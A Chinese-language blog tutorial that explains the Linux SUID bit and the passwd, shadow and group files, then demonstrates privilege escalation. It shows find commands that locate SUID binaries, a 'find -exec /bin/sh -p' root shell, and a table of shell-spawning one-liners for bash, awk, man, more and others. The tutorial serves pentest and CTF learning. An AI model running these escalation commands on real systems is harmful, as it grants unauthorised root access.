浅析Linux SUID提权
C3ngH Lv3

什么是SUID

SUID(Set User ID)是文件权限的一种特殊位,表示当一个可执行文件被执行时,它会以文件拥有者的权限运行,而不是以执行者的权限运行。 也就是说,如果该程序有SUID权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。

Linux 系统中引入了三个主要文件来管理用户和用户组的信息:

  • /etc/passwd

    • 存储用户的基本信息,例如用户名、用户ID(UID)、组ID(GID)等。
    • 每个用户对应一行信息。

    /etc/passwd 文件中,每一行表示一个用户的信息,包含7个字段,用冒号(:)分隔。具体字段含义如下:

    编号 字段名 含义
    1 用户名(login name) 用户的登录名,用于标识用户,必须是唯一的,如rootuser1等。
    2 密码占位符 传统上存储加密密码,但现在存储的是占位符x,实际密码存储在/etc/shadow中。
    3 用户ID(UID) 每个用户都有一个唯一的用户ID,用于标识用户。例如0表示超级用户root,普通用户的UID一般从1000开始。
    4 组ID(GID) 用户所属组的ID,用于标识用户的主组。主组的详细信息存储在/etc/group中。
    5 备注信息 说明或备注字段,通常存放用户的全名或其他信息,可以为空。
    6 用户主目录 用户的默认主目录,通常是/home/用户名,也可以指定其他目录。
    7 登录Shell 用户登录时的默认Shell。例如/bin/bash(可登录),或/sbin/nologin(不允许登录)。

    image

  • /etc/shadow

    • 专门存储用户的密码信息(加密后的密码)。
    • 只有root用户或具有足够权限的用户可以访问这个文件。
  • /etc/group

    • 存储系统中所有组的信息,例如组名、组ID(GID)以及组内的成员。

利用SUID提权的原理

如果一个文件的属主是 root 且设置了 SUID,即使是普通用户执行该文件,程序运行时也会以 root 权限执行;系统中的用户如果 UID=0,将被视为 root 用户。因此,若普通用户的 UID 被设为 0,登录后将自动拥有 root 权限。利用此特性,就可通过SUID进行提权。

如何设置SUID

设置 SUID 权限

  • 查看文件当前权限:

    1
    ls -l filename

    输出的权限中,没有 s 则表示尚未设置 SUID。

  • 设置 SUID: 使用 chmod 命令给文件设置 SUID 位:

    1
    chmod u+s filename
    • u+s 表示给文件所有者(user)增加 SUID 权限。
  • 确认设置结果: 再次查看文件权限:

    1
    ls -al filename

    如果文件权限中显示类似 -rwsr-xr-x(注意 s),说明 SUID 设置成功。

如何查找已有SUID的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

#find / -perm -u=s -type f 2>/dev/null
#/表示从文件系统的顶部(根)开始并找到每个目录
#-perm 表示搜索随后的权限
#-u = s表示查找root用户拥有的文件
#-4000:查找 SUID 文件(权限位的 SUID 为 4)
#-type表示我们正在寻找的文件类型
#f 表示常规文件,而不是目录或特殊文件
#2表示该进程的第二个文件描述符,即stderr(标准错误)
#>表示重定向
#/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

image

进行SUID提权

前提:所使用的命令必须有SUID权限

find命令提权

1
2
3
4
5
6
7
8
9
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限

find 任意文件 -exec whoami \; -quit
#root
find 任意文件 -exec /bin/sh -p \; -quit
#whoami
#root
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

其他命令提权

suid文件 提权命令
/usr/bin/bash bash -p
/usr/bin/csh csh -b
/usr/bin/sh sh -p
/usr/bin/ksh ksh -p
/usr/bin/zsh zsh
/usr/bin/find find /etc/passwd -exec /bin/bash -p ;
/usr/bin/awk awk ‘BEGIN {system(“/bin/bash”)}’
/usr/bin/man !/bin/bash
/usr/bin/more !/bin/bash

可以查阅:https://gtfobins.github.io/

离线版:https://github.com/nccgroup/GTFOBLookup

1
2
gtfoblookup gtfobins search find
#在gtfobins库中查找find命令
 评论
评论插件加载失败
正在加载评论插件
总字数 77.8k 访客数 访问量